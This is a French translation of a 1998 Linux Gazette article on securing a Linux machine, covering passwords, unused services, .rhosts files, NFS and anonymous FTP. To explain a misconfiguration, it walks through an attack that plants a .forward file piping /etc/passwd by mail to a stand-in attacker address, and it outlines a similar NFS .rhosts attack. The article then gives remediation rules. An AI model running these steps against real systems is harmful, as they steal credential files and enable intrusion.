Page suivante Page précédente Table des matières
10. Protéger votre machine Linux
Par Peter Vertes
Le développement de Linux dans le monde professionnel nécessite qu'on prenne conscience des questions de sécurité. Les ordinateurs fonctionnant sous Linux peuvent être facilement raccordés en réseaux, ce qui augmente le risque potentiel de voir des gens obtenir des informations auxquelles ils ne devraient pas avoir accès. Ceci est particulièrement vrai si vous n'avez en rien modifié la configuration de votre système après l'installation. Nous allons voir rapidement comment protéger votre machine et rendre votre réseau plus sûr pour vos utilisateurs et vos données.
"Votre force ne saurait être supérieure au maillon le plus faible de votre défense", dit un proverbe chinois qui s'applique parfaitement au domaine de la sécurité informatique. Si vous oubliez d'appliquer les corrections nécessaires à la dernière version de
lpd
que vous venez de télécharger, tout vos efforts peuvent se révéler vains et votre système hyper-sécurisé se révéler une véritable passoire. Il faut toujours être extrêmement prudent lorsqu'on installe de nouveaux logiciels. Si vous n'utilisez Linux que comme ordinateur de bureau chez vous et que vous vous connectez à Internet par un modem, vous n'avez probablement pas beaucoup de soucis à vous faire, mais si vous maintenez un serveur capital pour votre activité, connecté en permanence au Net, je vous recommande chaudement de vérifier l'historique de tous les logiciels que vous avez installés (souvenez-vous de cette fameuse version de Sendmail [1]).
De nombreuses listes de diffusions et autant de sites web offrent une aide conséquente pour qui s'intéresse à la sécurité des lachines Linux. L'information est disponible, il suffit d'aller la chercher. Si vous n'avez ni le temps, ni la patience, ni le savoir-faire, contactez un consultant en sécurité qui pourra examiner votre système et vous signaler ses points faibles. En général, les sociétés spécialisées disposent de leur proprent équipes de corsaires, qui pourront tenter de percer les défenses de votre système informatique, moyennant finances. Leur but est de rentrer dans votre réseau en un temps donné et certains vont jusqu'à vous rendre votre argent si ils n'y parviennent pas. Ces équipes sont très utiles aux sociétés qui prennent soin de leur sécurité informatique. Comme leur travail coûte cher, vous trouverez certainement avantageux d'éprouver vous-même la résistance de vos machines aux attaques malignes. Cette activité vous fera économiser de l'argent et vous apprendra beaucoup sur la structure de Linux.
Le point de départ de notre aperçu des éléments essentiels de la sécurité sera les mots de passe. Beaucoup de gens consignent toute leur vie sur leur ordinateur et la seule chose qui empêche les autres d'y accéder est une chaîne de huit caractères nommée mot de passe. Ce qui n'est pas une méthode que l'on pourrait qualifier de fiable. Contrairement à la croyance populaire, le mot de passe parfait n'existe pas. Moyennant suffisement de temps et de moyens, tous les mots de passe peuvent être trouvés, que l'on s'aide d'heuristiques ou que l'on emploie la force brute de gros calculateurs.
Comme le perçage de mots de passe bien choisit peut demander du temps et de l'argent, essayez de rendre la vie dure au pirate éventuel qui entrera en possession de votre fichier
password
. Lancer toutes les semaines un programme automatique de perçage des mots de passe peut par exemple se révéler une bonne idée. Cela aide à trouver et remplacer les mots de passe faibles et faciles à deviner. Un mécanisme de vérification des mots de passe doit aussi être mis en oeuvre au moment ou l'utilisateur tente de changer son mot de passe. Les mots du dictionnaire, les caractères qui sont tous de la même casse et les mots de passe ne contenant que des lettres sont à bannir.
Un bon mot de passe peut par exemple être bâti en prenant les premières lettres d'une phrase ou d'un proverbe. "Rien ne sert de courrir, il faut partir à point", vous donnera par exemple
rnsdcifpap
. Reste à y ajouter des chiffres et des caractères spéciaux pour obtenir9rnsdc!ifpap1
, qui est un bon mot de passe, ou tout au moins bien meilleur que le nom de votre conjoint ou de votre enfant.
Des listes de mots contenant des centaines ou des milliers de mots susceptibles de servir de mots de passe sont disponibles sur Internet pour être utilisées par des programmes de perçage de mots de passe. Le prénom "marguerite" sera donc trouvé bien plus facilement que
9rnsdc!ifpap1
. Cependant, même si votre mot de passe n'a aucune chance d'apparaître dans une de ces listes, il faut savoir qu'il existe des programmes qui essaient toutes les combinaisons possibles: l'utilisateur leur donne un nombre minimum et maximum de lettres, de majuscules et de minuscules, autorise l'emploi de chiffres et de caractères spéciaux... et le programme fait le reste. Il est vrai que cela peut demander beaucoup de temps et de ressources, mais c'est faisable.
Ensuite, préoccupez-vous de services qui sont disponibles sur votre système. La plupart des distributions de Linux lancent les serveurs HTTP, FTP, SMB et Sendmail par défaut. Si vous n'avez pas besoin de ces ervices, pourquoi ne pas vous en débarrasser ? Ils consomment des ressources et peuvent constituer un potentiel trou de sécurité. Utilisez la commande
kill
pour les interrompre et éliminez-les de vos scripts d'initialisation du système pour qu'il ne soient pas lancés aux démarrage de la machine. Les services inutilisés peuvent permettre d'obtenir des informations sur votre système, ce qui facilite la tâche des malintentionnés.
Un autre points important est d'éviter l'utilisation des fichiers
.rhosts
, qui sont la cible privilégiée des pirates. Ces fichiers contiennent les noms des machines sur lesquelles vous avez un compte. Quand vous utilisezrlogin
, le système lit le fichier.rhosts
et si il y trouve le nom de la machine sur laquelle vous travaillez, il vous laisse vous connecter sans vérifier votre mot de passe. Pour plus d'information concernant ce fichier.rhosts
, jettez un oeil à votre manuel d'administration favori.
Une des attaques les plus connues consiste à profiter des erreurs de configuration de NFS. Tout d'abord, le pirate détecte les systèmes de fichiers exportés par votre machine (avec
showmount -e
) et cherche s'il en existe qui sont accessible en écriture. Ensuite, il monte ce système de fichier sur sa machine et copie un fichier.rhosts
de sa confection dans le répertoire personnel d'un utilisateur. Il ne lui reste qu'à se connecter pour avoir accès à votre système. La morale de cette histoire est qu'il faut faire appel à des personnes expérimentés pour configurernfsd
ou bien prendre le temps de lire la documentation.
Une autre attaque commune met en cause la mauvaise configuration d'un service très commun sur Internet, le FTP anonyme. La première méthode, évidente, pour laisser tout un chacun s'introduire dans votre système est de laisser votre fichier password à portée. Il est vrai que les mots de passe y sont conservés cryptés, mais nous avons vu qu'il était possible d'exploiter un tel fichier. Une autre méthode pour se procurer le fichier password consiste à profiter des droits d'accès en écriture sur le répertoire
/ftp
. Regardez ceci:
- Créez un faux fichier
.forward
contenant:
|/bin/mail mechant@enfer.fr < /etc/passwd
- Connectez vous à votre victime par FTP en tant qu'utilisateur ftp:
- Entrez n'importe quel mot de passe
- Copier le fichier .forward dans ce répertoire
- Déconnectez-vous et envoyez un mail à ftp@machine.victime.com
- Dans quelques secondes, vous recevrez une copie du fichier password de machine.victime.com, gracieusement envoyée par courrier électronique.
C'est un moyen facile de se procurer le fichier password d'une machine. Le coeur de cette attaque consiste à profiter de l'erreur de l'administrateur système: il a laissé les droits d'écriture à l'utilisateur
anonymous
pour le répertoire/ftp
. Mettre en place un serveur FTP anonyme est un art à part entière, mais on peut toutefois rappeler ces règles essentielles:
- Seul le répertoire
/incoming
doit être autorisé en écriture par les seuls utilisateursroot
etftp
.- Les utilisateurs anonymes ne doivent avoir que les droits d'exécution et de lecture aux répertoires
/pub
et/incoming
.- L'utilisateur
ftp
ne doit pas avoir les droits d'écriture pour le répertoire/ftp
. Sinon, cette attaque, qui sera tentée nécessairement tentée un jour ou l'autre, réussira du premier coup. Pour plus d'information consultez le manuel (man ftpaccess
) et les conseils du CERT (référence 93:10 site web: http://www.cert.org/).
Enfin, il est utile de rappeller que les fichiers journaux (log files) travaillent pour vous. Ils constituent un bon moyen pour vérifier ce qui se passe/s'est passé/va se passer sur votre système, prenez donc le temps de les lire et assurez-vous qu'ils ne sont pas modifiés par des intrus ou d'autres administrateurs système.
Au moment ou Linux voit s'ouvrir de plus en plus de portes dans le monde de l'entreprise, il est crucial de protéger la confifentialité des données de chacun et de colmater les brèches de sécurité susceptibles de servir les pirates. L'interconnection des moyens informatiques facilite la croissance de l'espionnage industriel. Quelques mesures de prévention simples et un peu de formation pour vos utilisateurs permettront d'assurer la sécurité de vos secrets.
[1] NdT: tout porte à croire que l'auteur fait référencer au
Worm
, qui s'est propagé par l'intermédiaire d'un "trou" de Sendmail, il y a une dizaine d'années (1988), et a mis à genoux plus de 10% des centres de recherche et des universités (principalement américaines) reliés à Internet.
Copyright © 1998, Peter Vertes - Publié dans le numéro 34 de la Linux Gazette, Novembre 1998
Adaptation française Nicolas Chauvat
Page suivante Page précédente Table des matières